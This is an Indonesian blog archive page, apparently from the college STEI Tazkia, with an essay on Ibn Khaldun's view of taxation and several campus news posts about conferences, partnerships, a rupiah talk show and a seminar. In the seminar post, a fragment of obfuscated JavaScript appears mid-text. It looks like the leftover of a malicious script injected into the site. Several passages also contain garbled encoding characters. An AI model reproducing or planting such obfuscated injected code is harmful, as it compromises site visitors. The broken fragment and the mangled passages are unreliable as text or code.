All posts tagged: Ekonomi Islam

Ibnu Khaldun, Pajak, dan Negara

No comments

Fungsi pajak itu adalah untuk keadilan semuanya

Foto Nurizal Ismail

Foto Nurizal Ismail

Oleh: Nurizal Ismail *)

Siapa yang tidak kenal dengan Ibnu Khaldun? Dari Barat sampai ke Timur orang menyebut naman itu. Sejumlah teorinya dalam berbagai bidang keilmuan banyak dikembangkan kaum cerdik cendekia saat ini. Misalnya, Haddad (1977) seorang profesor dari Universitas Sidney mengatakan teori pembangunan ekonomi Adam Smith mempunyai kesamaan dengan pandangan Ibnu Khaldun.

Lainnya, Ekonom dan juga penasihat ekonomi President Amerika Ronald Reagan, Arthur Laffer(1940). Dia berpendapat, teori kurva laffernya adalah hasil pengembangan pemikiran pajak Ibnu Khaldun.

Hal ini kemudian didukung Reagan sebagaimana yang ia sampaikan di New York Times pada 2 Oktober 1981, bahwa Ibnu Khaldun mendalilkan, “Pada awal dinasti, pendapatan pajak besar diperoleh dari penilaian kecil. Kemudian pada akhir dinasti, pendapatan pajak kecil diperoleh dari penilaian besar.”

Fakta yang ditampilkan Gwartneh (2006) menarik untuk dikaji. Judulnya Supply-Side Economics. Di dalamnya ada penjelasan, selama 1980-an kebijakan pemotongan pajak telah dilakukan oleh presiden Reagan yang dikenal dengan Reagonomik.

Undang-undang pajak yang disahkan pada 1981 dan 1986  telah mengurangi tarif pajak penghasilan federal Amerika dari 70 persen menjadi sekitar 33 persen. Bagi performa AS, hal ini berdampaknya terhadap ekonomi selama tahun  tersebut sehingga menjadi sangat mengesankan. Tingkat pertumbuhan GNP riil berakselerasi dari tingkat yang lamban di tahun 1970-an, hingga pertumbuhan ekonomi AS melebihi industri negara industri lainnya kecuali Jepang.

Di tahun ini, isu yang sama muncul pada debat pilpres 2019 yang pertama. Ketika itu paslon No 02 mengangkat isu menaikkan pajak rasio sampai 16 persen. Tetapi terlihat paradoks, karena tujuan peningkatan rasio pajak untuk menghilangkan terjadinya praktik korupsi.

Asumsinya, ketika pendapatan pajak naik, maka dapat meningkatkan gaji para penegak hukum di Indonesia, sehingga tidak akan korupsi. Padahal fungsi pajak itu adalah untuk keadilan semuanya. Drajad Wibowo, sebagaimana diberitakan Republika menyampaikan, pasangan Prabowo-Sandi akan menggunakan gagasan Ibnu Khaldun untuk rasio pajak. Bagaimana gagasan Ibnu Khaldun tentang peningkatan pajak rasio ini?

Nama sebenarnya adalah Abu Zayd Abdur Rahman Ibn Khaldun (732-808/1332-1406). Dia dikenal sebagai sejarawan, politisi, diplomat, dan filusuf sosial yang dilahirkan di Tunisia. Toynbee (1935) menganggap karyanya yang brilian ‘Muqaddimah’ (Pengantar Sejarah) sebagai pencapaian paling agung dan intelektual di abad pertengahan. Di dalamnya terdapat perbendaharaan banyak ilmu, seperti sejarah, psikologi, sosiologi, geografi, ekonomi, ilmu politik, dan lainnya.

Konsep pajak Ibnu Khaldun bermula dari penjelasannya tentang  bangkit dan runtuhnya sebuah dinasti, yang terdiri dari lima tahapan: 1) penaklukan dan kesuksesan, 2) stabilitas dan meninggikan diri sendiri, 3) ekspansi ekonomi dan kenikmatan hasil pembangunan, 4) kepuasan dan kompromi, dan 5) berlebih-lebihan, pemborosan, dan dekadensi. Pada tiap-tiap tahapan struktur pajak dan pengeluaran pemerintah memainkan peranan yang sangat penting, sehingga sangat penting membahas tahapan-tahapan tersebut barulah kita dapat mengerti apa yang dimaksudkan dengan peningkatan pajak rasio menurutnya.

Pada tahapan awal, dinasti memiliki kualitas yang baik pada masyarakatnya, merencanakan pengeluaran yang moderat, dan menghormati kekayaan orang lain. Saat itu dinasti menjauhi pajak yang berat. Pada tahap kedua, penguasa memperoleh kekuasaan penuh atas rakyatnya, mengklaim seluruh otoritas untuk dirinya sendiri, mengecualikan mereka, dan mencegah dari mencoba mengambil bagian di dalamnya. Saat itu adalah tahap stabilisasi dan konsolidasi kekuatan, semakin memperkuat perasaan kelompok dan memberi penghargaan kepada para pendukungnya melalui pengeluaran yang baik.

Pada tahap ketiga merupakan kemakmuran ekonomi dan kenikmatan yang diperoleh pemerintah. Sehingga perhatiannya banyak difokuskan pada pengumpulan pajak, administrasi penerimaan dan pengeluaran publik. Pengembangan kota, pembangunan gedung-gedung besar, peningkatan tunjangan pejabat, dan masyarakat umum menarik perhatian.

Beban pengeluaran mewah dan perpajakan meningkat meskipun ketenangan dan kepuasan terjadi. Tahap ini adalah saat terakhir penguasa berada dalam otoritas penuh. Pada tahap keempat, penguasa puas dengan apa yang telah dibangun oleh para pendahulunya: Ia membatasi aktivitasnya, mengikuti jejak mereka dengan cermat. Ia tidak mengambil inisiatif sendiri. Ekspansi kekuatan politik-ekonomi terhenti dan terjadilah semacam stagnasi.

Pada tahap kelima, penguasa menikmati kemewahan, menjalani kehidupan yang sangat mewah, membuang-buang sumber daya yang terakumulasi oleh aturan sebelumnya. Aparat yang tidak kompeten dan tidak memenuhi syarat dipercayakan untuk melakukan hal-hal terpenting dari negara. Orang-orang pengadilan yang menganggur dihargai, dan kritikus yang tulus dihina dan dihukum. Penguasa kehilangan semua jenis simpati dan perasaan kelompok.

Pada tahap ini pajak meningkat. Sementara pendapatan menurun. Ekonomi hancur dan sistem sosial terganggu. Pemerintah menderita penyakit yang tidak dapat disembuhkan, yang menyebabkan kejatuhannya. Kemudian diambil alih oleh dinasti baru, didukung oleh perasaan kelompok yang kuat dan kohesi sosial.

Tahapan yang ditampilkan Ibn Khaldun ini mungkin sedang terjadi di Indonesia, khususnya pada tahapan kelima. Inilah yang akhirnya mengakibatkan banyak rakyat menginginkan pemerintahan baru, yang akhirnya mungkin akan kembali kepada siklus pertama dalam teori Ibnu Khaldun.

Beliau menggambarkan harta itu saling memerlukan antara rakyat (al-raiyyah) dan penguasa (as-Sulthan); Jika penguasa menahannya, maka kekuasaan pada rakyat akan hilang. Sehingga, tahapan-tahapan dalam posisi puncak kegemilangan harus memerhatikan kemaslahatan masyarakatnya dengan mengelola keuangan negara sebaik mungkin.

Inti dari teori perpajakan Ibn Khaldun yaitu untuk menurunkan pembebanan pajak atas jumlah individu-individu yang mampu melakukan aktivitas usaha atau bisnis. Karena dengan cara ini, mereka mendorong perusahaan memperoleh keuntungan yang lebih besar bagi pengusaha dan pendapatan bagi pemerintah.

Alasannya berdasarkan konsep zakat yang disyariatkan oleh Islam yang rate-nya sangat kecil, tetapi memilki kemaslhatan yang besar buat masyarakat. Tampaknya Ibnu Khaldun sepenuhnya memahami tarif dan pendapatan pajak adalah dua hal yang berbeda.

Tarif pajak yang tinggi bukanlah jaminan bahwa hal itu akan memaksimalkan pendapatan pajak. Sebaliknya itu akan menunjukkan pendapatan yang menurun setelah tahap tertentu. Karena tarif pajak yang lebih tinggi menghambat upaya kerja masyarakat. Itu juga mendorong mereka untuk menyiasati, bahkan menghindari pajak. Dampaknya, bukan meningkat, pendapatan pajak justru akan menyusut.

Sistem perpajakan yang sehat yaitu dengan tidak meminta lebih dari yang bisa ditoleransi. Tidak terlalu banyak membebankan biaya kepada siapa pun. Kemudian  negara memperlakukan semua orang dengan adil. Ini membuat negara lebih mudah mendapatkan kepercayaan masyarakat.

Dapat disimpulkan, menurut Ibnu Khaldun, anggaran pemerintah mungkin terjadi surplus, seimbang, atau defisit tergantung pada tingkat pembangunan dan komposisi pengeluarannya. Karenanya tarif pajak akan rendah, sedang, atau berlebihan.  Semuanya itu dikembalikan kepada pemerintah yang berkuasa mau dikemanakan arah sistem dan kebijakan pajaknya. Gagasan Ibnu Khaldun ini bisa kita ambil sebagai ibrah  dalam pengelolaan perpajakan Indonesia.

*) Direktur Pusat Studi Kitab Klasik Islami STEI Tazkia dan Peneliti ISEFID

Arikel ini telah dimuat di Republika Online

Miftahul AnwarIbnu Khaldun, Pajak, dan Negara
read more

“Gerakan Tazkia Mengajar” Kontribusi nyata Mahasiswa STEI Tazkia di Masyarakat

No comments

[Press Rilis Grand Opening GTM-GO]

Alhamdulillah pada hari Rabu, 16 Januari 2019 telah dilaksanakan acara pembukaan Program Gerakan Tazkia Mengajar (GTM) GO yang langsung dibuka oleh Kepala Sekolah MI Hidayatussibyan, Bapak Abdul Rahman. Rangkaian acara dimulai dengan lantunan ayat suci Al-Qur’an oleh Saudara Ghaznawi Ihyamukhti, dan sambutan-sambutan dari Ketua Pelaksana, Nawarendra dan Pak Aman, sapaan akrab Pak Abdul Rahman. Dilanjut dengan perkenalan peserta GTM GO sebanyak 40 orang yang terdiri dari berbagai angkatan, mulai angkatan 18, 17, dan 16. Dan ditutup dengan do’a oleh saudara Naufal Ahmad.

Acara yang berlangsung di Majlis ta’lim Bahrul Ulum kp. Cihandeuleum RT.01/05 Desa Wargajaya Kecamatan Sukamakmur Bogor ini berlangsung khidmat dan disambut antusias dari masyarakat terutama Kepala Sekolah dan peserta itu sendiri. Sekolah yang bernaung dalam Yayasan Yaspia ini berdiri sejak tahun 1953 yang masih belajar di teras2 rumah, kemudian sekitar tahun 1970-an mulai berdiri madrasah khusus, dan pada tahun 2006 mengibarkan sayapnya dengan mendirikan MTs Al-Amanah. Besar harapan dari masyarakat Sukamakmur untuk mengembangkan sekolah ke jenjang yang lebih tinggi setingkat SLTA-Sederajat.

Rizqi Zakiya“Gerakan Tazkia Mengajar” Kontribusi nyata Mahasiswa STEI Tazkia di Masyarakat
read more

Bank Syariah Diharapkan Memiliki Corporate University

No comments

Kementerian BUMN menilai, sebaiknya lembaga keuangan syariah yang masih menjadi anak perusahaan BUMN, dapat meningkatkan kualitas sumber daya manusianya dengan membangun Corporate University.

Sudah 26 tahun ekonomi syariah berkembang di Indonesia. Diawali , sejak Bank Muamalat Indonesia (BMI) pertama kali berdiri. Sudah sejauh mana perkembangannya? Dan terutama apa kontribusinya kepada perekonomian Indonesia? Inilah topik webinar BRI Corporate University hari ini, Kamis (20/12), yaitu “Peran Islamic Finance dalam Menunjang Perekonomian Indonesia”.

Webinar kali ini diisi oleh, Ketua STEI Tazkia, Dr. Murniati Mukhlisin M.Acc sebagai pembiaya kunci. Dibuka oleh Asisten Deputi Manajemen SDM Eksekutif Kementerian BUMN, Imam Bustomi, dan sebagai tuan rumah adalah CLO BRI Corporate University, Retno Wahyuni Wijayanti dan CLO B & FS BUMN Corporate University, Lugiyem.

Dari sisi pemerintah Imam Bustomi mengatakan, Kementerian BUMN masih dalam roadmapnya, menjadikan BUMN-BUMN Indonesia pemain global. Karena itu, holding di tiap sektor sejenis harus dibentuk. “Karena syariah selama ini menjadi anak perusahaan, pembinaan memang ada di induknya. Misalnnya BRI Syariah itu ada di Bank BRI dan BSM ada di Bank Mandiri. Usulannya menjadi menarik apakah Kementerian BUMN akan mendorong, kami juga ingin mempertemukan semua pelaku tadi, BSM, BRIS, BTN Syariah, BNI Syariah, dan asuransi syariah yang semuanya masih menjadi anak perusahaan dari BUMN, untuk bersama-sama mendorong perkembangannya, seperti apa”, kata Imam menjelaskan.

Dari sisi pengembangan SDM, Imam menjelaskan pihaknya juga menginginkan upaya pengembangan SDM harusnya terintegrasi dan semua pihak ada. “Sekarang ini yang kita lakukan, kita mau membangun corporate university yang selama ini hanya dimiliki oleh Bank Konvensional. Kami juga ingin mendorong mendorong pembelajaran khusus yang syariah untuk memiliki sendiri, saya telah mendorong BSM, BRI Syariah untuk membangung corporate university, khusus untuk yang syariah”, kata Imam lagi.

Sementara kini banyak pakar bicara tentang industri 4.0, mungkin pekerjaan manusia akan mulai banyak diganti oleh robot. Tapi, yang tidak bisa diganti adalah ahli syarioah. Oleh karena itu, menurut Murniati Mukhlisin, ketika kita membangun menuju industri 4.0, kita jangan melupakan yang syariah-syariah ini. “Saya berharap yang tadi disampaikan pak Imam, kalau bisa BUMN lebih serus menggarap syariah”, kata Murniati berharap.

Ia menambahkan, mengutip keterangan pendiri STEI Tazkia, Dr. M. Syafii Antonio, M.Ec di Surabaya, dalam gelaran Indonesia Sharia Economic Festival (ISEF) 2018 pada 11-15 Desember 2018. Syafii Antonio berharap, suatu saat saat, Bank Indonesia (BI) akan bernama Bank Indonesia Syariah. Di saat itu, “Akan ada divisi konvensional dari Bank Indonesia Syariah tersebut. Apakah tidak mungkin? Wallahuallam, apa yang tidak mungkin bisa menjadi mungkin bagi Allah”, kata Murniati mengutip Syafii Antonio.

Miftahul AnwarBank Syariah Diharapkan Memiliki Corporate University
read more

Dosen Tazkia Go ASEAN

No comments

Tiap konferensi internasional yang diikuti, menjadi peluang bagi dosen untuk berkiprah di luar negeri. Kali ini dosen Tazkia go ASEAN.

Sebanyak delapan dosen senior Sekolah Tinggi Ekonomi Islam (STEI) Tazkia mengikuti the 6th ASEAN Universities International Conference on Islamic Finance (the 6th AICIF) yang diadakan oleh International Council of Islamic Finance Educators (ICIFE).

Pelopor ekonomi Islam di Indonesia ini memang menjadi salah satu anggota ICIFE. Organisasi ini tiap tahun memang mengadakan konferensi internasional. Tahun ini bersama-sama dengan anggotanya yaitu dari Malaysia, Indonesia, Brunei Darussalam, Thailand, dan FIlipina mengadakan the 6th AICIF. Sebagai tuan rumah adalah Mindanau State University, acara pun diadakan di New World Makati Hotel, Manila, Filipina pada 14-15 November 2018.

Rombongan STEI Tazkia dipimpin oleh Ketua STEI Tazkia, Murniati Mukhlisin, diikuti oleh delapan dosen senior yaitu: Luqyan Tamanni, Miftakhussurur, Yaser Syamlan, Rusdiana Priatna, Afif Zaerofi, Grandis Imama Hendra, Nurizal Ismail dan Rahma Wijayanti. Para dosen ini mewakili semua program studi yang ada di Tazkia yaitu Pascasarjana Ekonomi Syariah, Bisnis dan Keuangan Syariah, Muamalat, Akuntansi Syariah, Ekonomi Syariah, Diploma 3 Keuangan Mikro Syariah.

Tim peneliti ini membentangkan penelitiannya seputar tata kelola syariah, perbankan dan pasar modal syariah, sistem keuangan moneter dan asuransi syariah, serta keuangan sosial syariah.

Dengan keikutsertaan di konferensi internasional ini, Murniati mengatakan, “Untuk memberikan peluang bagi dosen mempresentasikan hasil penelitian sehingga memperkaya Tridharma pendidikan di kampus. Juga membawa Kampus Tazkia di level ASEAN melalui berbagai kerjasama dengan berbagai instansi di kawasan ini”.

Untuk itu selain membentangkan hasil risetnya pada konferensi ini, tim juga mengadakan kunjungan ke KBRI Manila dan Asian Development Bank. Bahkan, Ketua STEI Tazkia, Murniati menyampaikan tausiyah di KBRI dan salah satu anggota tim, Nurizal mengisi Khutbah Jum’at pada 16/11. Adapun agenda di Asian Development Bank di Manila adalah untuk membahas potensi kerjasama dengan kampus. Selain itu, diadakan juga penandatanganan memorandum of understanding (MoU) antara STEI Tazkia dan Mindanau State University.

Bagi ekonomi Islam lokal dan internasional, Murniati menilai, pengembangan ekonomi syariah di kawasan ASEAN masih didominasi oleh Malaysia dan Indonesia. Brunei sudah mulai menunjukkan geliat keuangan syariah, Filipina dan Thailand sudah mulai walau agak lamban tapi tidak terlihat di Singapura dan Myanmar. “Diharapkan dengan adanya perjumpaan pendidik bidang keuangan syariah di kawasan ASEAN dapat bersinergi untuk mengembangkan ekonomi syariah, industri halal, regulasi syariah lebih baik lagi, paling tidak dari sisi pendidikan dan penyediaan sumber daya manusia”, kata Murniati menjelaskan.

Murniati menambahkan, STEI Tazkia juga berminat untuk menjadi tuan rumah konferensi internasional ini di lain waktu. Menurutnya, kampus Tazkia sudah diminta oleh beberapa peserta untuk menjadi tuan rumah tahun depan namun karena ikut harus ikut antri, maka Kampus Tazkia akan menjadi tuan rumah tiga tahun lagi.

Miftahul AnwarDosen Tazkia Go ASEAN
read more

STEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia

No comments

Gaung STEI Tazkia semakin menggema di negeri Jiran Malaysia. Pada hari Selasa, 13 November 2018, telah dilaksanakan penandatanganan kerjasama antara STEI Tazkia dan International Institute of Advanced Islamic Studies (IAIS) Malaysia. Lembaga ini merupakan lembaga penelitian tentang keagamaan Islam yang didukung penuh oleh pemerintah Malaysia.

Kerjasama meliputi bidang penelitian, seminar, publikasi dan praktik magang untuk mahasiswa Tazkia.
Kerjasama ini ditandangani oleh Prof. Mohammad Hashim Kamali (Founding CEO IAIS) dan Dr. Mukhammad Yasid (direktur Pascasarjana Tazkia).


Menariknya, kerjasama ini disaksikan langsung oleh menteri Agama Malaysia, Dr. Mujahid Yusof Rawa.
Seremoni ini dilaksanakan bertepatan dengan peringatan 10 tahun IAIS. Diperkirakan 150 orang baik akademisi, praktisi dan pemerintah yang turut hadir dalam acara ini.

Rizqi ZakiyaSTEI Tazkia Jalin Kerjasama dengan Lembaga Riset Malaysia
read more

Tingkatkan Kualitas Dosen, Tazkia ke Manila Pekan Depan

No comments

Sebanyak tujuh dosen STEI Tazkia akan berangkat ke Manila pekan depan mengikuti ASEAN Universities International Conference on Islamic Finance (AICIF).

Salah satu event bergengsi tingkat Asia Tenggara, ASEAN Universities International Conference on Islamic Finance (AICIF) akan memasuki tahun ke-6 tahun ini. Kampus pelopor ekonomi Islam, Sekolah Tinggi Ekonomi Islam (STEI) Tazkia akan mengirimkan tujuh dosen terbaiknya untuk mengikuti even ini.

Ketujuh dosen akan mempresentasikan penelitiannya di Manila, Filipina. Dalam rangka persiapan sebelum mengikuti AICIF yang akan diadakan pada 13 November 2018, sebanyak tiga dosen STEI Tazkia mempresentasikan penelitiannya dalam forum presentasi dosen (Monday Forum), Senin (5/11). Presentasi akan dilanjutkan oleh tiga dosen lagi di pekan depan pada jam dan tempat yang sama.

STEI Tazkia mendorong dosennya untuk mengikuti konferensi nasional dan internasional untuk memacu semangat melakukan penelitian. Tidak melulu waktunya habis untuk mengajar mahasiswa. Dosen yang aktif dalam penelitian diharapkan dapat menularkan wawasan dan semangatnya kepada mahasiswa.

Forum presentasi dosen khas STEI Tazkia, Monday Forum kali ini tidak hanya diisi oleh presentasi calon delegasi AICIF ke-6, juga menghadirkan presentasi dari laporan penelitian yang disampaikan oleh Rochania Ayu Yunanda, M.Sc (Acc) dan Pak Faried Kurnia Rahman, M.Sc (Fin).

Rochania Ayu Yunanda, M.Sc (Acc) atau yang akrab disapa Ibu Anda, berbicara tentang kesiapan perbankan syariah di Indonesia dan Malaysia dalam mengadopsi dan mengimplementasi VBI (Value Base Implementation). VBI adalah nilai bahwa bank syariah mampu memberikan pengaruh berkelanjutan bagi ekonomi dan lingkungan. Anda menyebutkan, bahwa perbankan syariah Malaysia akan mengimplementasikan VIB dilihat dari laporan keuangan tahun 2017. Sedangkan, melihat dari laporan keuangan Perbankan Syariah Indonesia tahun 2017 menunjukkan bahwa VIB sudah diterapkan walaupun tidak menggunakan istilah tersebut.

Presenter delegasi AICIF keenam hari ini adalah Grandis Imamahendra, M.Sc (Fin); Miftakhus Surur, M.Sc.; dan Nurizal Ismail, M.A. Grandis berbicara tentang perbedaan kualitas pendapatan dan tingkat kebangkrutan Perbankan Syariah Indonesia dan Malaysia antara sebelum dengan sesudah menggunakan International Financial Reporting Standard (IFRS). Hasilnya, Grandis menyebutkan bahwa ada perbedaan kualitas pendapatan pada Perbankan Syariah Malaysia antara sebelum menggunakan IFRS dengan sesudahnya sedangkan tidak ada perbedaan pada Perbankan Syariah Indonesia.

Monday Forum ke depan akan lebih banyak menghadirkan presentasi hasil presentasi dosen. Dr. Murniati Mukhlisin, M.Acc selaku ketua STEI Tazkia terus mendorong dosen-dosen untuk mengirimkan penelitiannya pada jurnal dan konferensi internasional guna meningkatkan kualitas wawasan dan pengalaman.

Miftahul AnwarTingkatkan Kualitas Dosen, Tazkia ke Manila Pekan Depan
read more

Hadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total

No comments

Bogor, Jumat, 2 November 2018 / 24 Shafar 1440. Masjid Andalusia Kampus Tazkia kehadiran Tamu Istimewa. Al Ustadz Abdul Somad, LC, M.A. hadir mengisi tabligh Akbar bersama Dr. Muhammad Syafii Antonio (Pakar Ekonomi Syariah dan Pembina Tazkia Group) dengan moderator Dai Muda Hilman Fauzi, S.E.I, M.E.Sy (Alumni Kampus Tazkia S1 & S2). Hadir ribuan jama’ah memadati acara yang disponsori oleh Jama’ah Pengajian Andalusia, Tazkia Group dan Sentul City ini.

Mengusung tema Menuju Indonesia Baru dengan Kekuatan Ekonomi Ummat. Dr. Syafi’i Antonio mengawali dengan mengungkapkan data-data penting bahwa ummat muslim Indonesia mampu bangkit jika bersatu padu bersama menghidupkan Ekonomi Syariah untuk menyokong Ekonomi Ummat. 87% ummat muslim masih mayoritas menjadi konsumen dari 13% konglomerat yang menguasai produk pokok nasional. Al Ustadz Abdul Somad pun melanjutkan pentingnya belanja di toko sekitar, milik ummat serta mempersiapkan generasi ummat yang akan memperjuangkan Ekonomi Ummat dengan Ekonomi Syariah.

Beliau juga menyerukan kepada seluruh petinggi pemerintah, yang memilki kekuasaan untuk memanfaatkan kekuasaan untuk kepentingan ummat, memperkuat praktik keuangan syariah, mendukung ekonomi masyarakat sekitar dan kebijakan positif lain yang memberikan manfaat besar untuk ummat meskipun sudah lepas dari jabatan nanti.

Kampus Tazkia berkali kali disebut oleh Al Ustadz menjadi lembaga yang siap membekali generasi muda yang akan memperjuangkan Ekonomi Syariah di masa depan. Sehingga Ummat Islam mampu menjadi tuan di Negeri sendiri dengan Ekonomi Syariah sebagai solusinya.

 

Rizqi ZakiyaHadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total
read more

Talk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!

No comments

Sentul, 6 Oktober 2018, 26 Muharram 1440 H, Pada 5 September 2018 lalu, rupiah melesu hingga mendekati angka 15 ribu rupiah dan terus menurun hingga sekarang di nilai Rp15.152,-. Peristiwa ini tentu tidak belalu begitu saja. Perbincangan demi perbincangan terjadi di dalam masyarakat karena panasnya peristiwa memprihatinkan ini tidak hanya memberikan pengaruh buruk terhadap negara, tapi juga masyarakat yang menempatinya.


Melihat keadaan ini, para calon pengurus baru angkatan 17 KSEI Progres STEI Tazkia dalam salah satu rangkaian kegiatan Open Recruitment-nya menghadirkan kegiatan talkshow nasional bertemakan a�?Rupiah Melesu? Muslim-preneur Jadi Penentu!a�? dengan harapan untuk memberikan solusi dari permasalahan yang ada ini.
KSEI Progres menghadirkan dua narasumber yang masing-masing adalah seorang yang ahli di bidangnya, untuk mengupas permasalahan melesunya rupiah ini baik dari kacamata praktisi maupun pakar keilmuan. Kedua nasasumber ini tak lain ialah Bapak Agung Prasetyo Utomo, owner dari a�?Ayam Geprek Juaraa�? yang sukses menjalankan bisnisnya dengan berlandaskan syariah, serta Bapak Hendri Tanjung MM.,M.Ag.,M.Phil.,Ph.D. yang saat ini berkarir sebagai seorang penulis sekaligus dosen pasca sarjana di UIKA.


Dalam perbincangan yang santai dengan moderator talkshow ini, Hendri Tanjung menjelaskan bahwa ada 5 hal yang membuat rupiah menjadi melesu, yaitu:
Selera masyarakat akan produk dalam negeri yang rendah.A�Banyak dari masyarat Indonesia sendiri yang lebih memilih untuk membeli barang-barang bermerk yang berasal dari luar negeri, sehingga terjadilah peningkatan impor. Suku bunga.
Pemicunya adalah karena seringnya pembelian dollar, terutama dalam transaksi impor. KetikaA�inflasi naik, nilai mata uang rupiah pun secara otomatis akan menjadi tidak seimbang, UtangA�luar nergi, Spekulasi.
Sebagai anggota masyarakat, kita bisa turut membantu dalam pemulihan rupiah dengan mengurangi pembeli barang luar negri. Tidak hanya mengaku mencintai produk sendiri, tapi juga harus membeli dan menggunakannya dalam kehidupan sehari-hari.

Adapun Agung Prasetyo dalam kesempatannya berbicara, mengutarakan bahwa dalam hidup setiap orang harus memiliki prinsip agar mencapai kesuksesan. Prinsip yang ia pegang dengan kuat adalah a�?Harta Dibawa Matia�?, karena baginya dengan harta lah kita bisa beribadah. Harta membawa kita untuk bersedekah, berinfak, dan sebagainya.
Untuk menjadi orang sukses bukanlah hal yang mudah. Agung Prasetyo menceritakan bahwa perjalanannya sejak ia mengundurkan diri dari PT. Toyota Astra Motor hingga ia bisa mengembangkan bisnis ke tingkat sekarang ini penuh dengan lika-liku. Kebangkrutan adalah salah satu rintangan yang pernah menghampiri usaha bisnisnya.
Pemilik dari rumah makan Ayam Geprek Juara ini menyatakan bahwa rumah makannya tidak menyediakan lapangan pekerjaan bagi mereka yang ingin menambah penghasilan. Lapangan pekerjaan ini disediakan untuk yang orang-orang lebih membutuhkan, seperti para pemuda tamatan SD atau SMP yang kesulitan mencari pekerjaan di tempat-tempat lain.
Setiap orang bisa memberdayakan masyarakat dengan cara membantu mereka yang kekurangan dan memperbaiki perekonomiannya. Layaknya Hendri Tanjung, Agung Prasetyo juga mengajak masyarakat Indonesia untuk mencintai dan menggunakan produk-produknya sendiri.
Bisnis rumah makan Ayam Geprek Juara memiliki tiga pilar usaha yang menyokong tegaknya bisnis ini, yaitu: berjamaah (Partial Ownership), bagi hasil (Profit Sharing), dan pemberdayaan masyarakat (Community Empowerment). Dengan pilar-pilar itulah diharapkan makna dari kata JUARA (Jaringan Usaha, Amanah, Ridho, Allah) dapat terwujud.
Prinsip-prinsip dasar kerjasama yang diterapkan dalam usaha ini disesuaikan pula dengan ketiga pilar usaha tersebut. Sehingga bisnis Ayam Geprek Juara berjalan dengan cara-cara yang sesuai dengan syariat islam.
Agung Prasetyo mengatakan bahwa sebagai seorang muslim-preneur, kita tidak boleh menyalahkan siapun jika muncul suatu permasalahan. Tapi mula-mula lakukanlah sesuatu dengan mengatur mindset kita. Jika ingin menyikapi permasalahan melemahnya rupiah, maka yang harus dilakukan adalah:
Mengadakan program cinta rupiah. Misalnya memberikan tawaran ambil makan sepuasnya dengan harga yang murah dan terjangkau.


Mencetak pengusaha tanpa modal dan mengajak masyarakat yang tidak berpendidikan untuk mulai menjadi pengusaha.
Berhenti membayar royalty.
Dengan penjelasan dan solusi-solusi yang diberikan oleh kedua narasumber, diharapkan seluruh warga Indonesia khususnya para muslim-preneur untuk turut berkontribusi dalam terwujudnya Indonesia yang lebih baik, yang salah satu caranya adalah dengan menaikkan nilai rupiah kembali.

Rizqi ZakiyaTalk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!
read more

Penandatanganan Kerjasama STEI Tazkia dan Universitas Pamulang serta Seminar Nasional Sharia Accounting Crucial To Meet Challenge of Industry 4.0

No comments

Kamis, 4 Oktober 2018 / 25 Muharram 1440 H. bertempat di Auditorium Lantai 8 Universitas Pamulang, STEI Tazkia dan Universitas Pamulang menandatanganiA�Memorandum of UnderstandingA�(MOU) kerjasama di bidang Peningkatan Aspek Tri Dharma Perguruan Tinggi dan peningkatan kualitas SDM. Kerjasama ini mencakup pengembangan pendidikan, penelitian, dan pengabdian masyarakat diantara kedua kampus. Adapun penandatanganan dilakukan oleh Rektor Universitas Pamulang Bapak Dr.H. Dayat Hidayat, MM dan Ketua STEI Tazkia Ibu Dr. Murniati Mukhlisin, M.Acc.

Penandatanganan MOU ini dilakukan bersamaan dengan diselenggakannya Seminar Nasional bertema a�?Sharia Accounting Crucial To Meet Challenge of Industry 4.0a�?, Dr. Murniati Mukhlisin menjadi narasumber dalam kegiatan ini bersama Prof. Tjiptohadi Sawarjuwono, M.Ec, Ph.D., CPA.,CA yang merupakan Guru Besar Fakultas Ekonomi Universitas Airlangga. Adapun peserta yang hadir pada kegiatan tersebut terdiri dari mahasiswa, dosen, dan civitas akademika program studi Akuntansi Universitas Pamulang serta tamu dari pihak mitra seperti Bursa Efek Indonesia, PT Zahir Internasional, STIE Banten, dan Desa Binaan Universitas Pamulang.

Pemaparan disampaikan oleh Dr. Murniati Mukhlisin, M.Acc diawali dengan perkembangan Ekonomi Syariah dibeberapa negara termasuk negara non-muslim baik di Eropa maupun Asia, pemaparan dilanjutkan dengan pengenalan Fintech termasuk keunggulan dan kelemahan serta tantangan Fintech di Indonesia. Dr. Murniati Mukhlisin menjabarkan bahwa Fintech sangat diperlukan dikarenakan penyebaran kredit Syariah saat ini hanya berpusat di Pulau Jawa dengan persentase 60%, diharapkan adanya Fintech dapat membantu perkembangan kredit Syariah hingga ke pelosok-pelosok nusantara. Pengembangan Fintech, tambah Murniati, dapat dilakukan dalam sektor ekonomi kreatif seperti halal fashion, game, dan lain sebagainya dengan tetap memperhatikan unsur Syariat Islam.

Sesi pemaparan disajikan lebih menarik oleh Murniati atau yang lebih akrab di sapa dengan Madam Ani dengan adanya hadiah bagi peserta yang dapat menjawab kuis yang diajukan beliau. Selain itu, antusiasme peserta terhadap isu hangat Fintech ini dibuktikan banyaknya pertanyaan yang masuk dari kalangan mahasiswa. Seminar ini ditutup dengan pemberian hadiah diberikan oleh Madam Ani kepada 6 orang penanya terbaik serta penjawab kuis dengan jawaban terbaik sekaligus foto bersama.

  46d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaPenandatanganan Kerjasama STEI Tazkia dan Universitas Pamulang serta Seminar Nasional Sharia Accounting Crucial To Meet Challenge of Industry 4.0
read more

LPPM STEI Tazkia berkolaburasi dengan Maybank Syariah mengadakan Exclusive Research Camp 2

No comments

Hari Kamis-Jumat 27-28 September 2018, LPPM STEI Tazkia berkolaburasi dengan Maybank Syariah Indonesia mengadakan program Exclusive Research Camp 2 yang berlangsung di Hotel Salak The Herritage, Bogor, Jawa Barat. Dalam keterangan terpisah Kepala LPPM STEI Tazkia, Ries Wulandari, MSi menegaskan beberapa tujuan program ini untuk berkontribusi pada peningkatan kualitas publikasi ilmiah dosen-dosen di Indonesia sebagai bagian dari Tri Dharma Perguruan Tinggi yaitu Penelitian dan Pengabdian kepada Masyarakat (PkM).
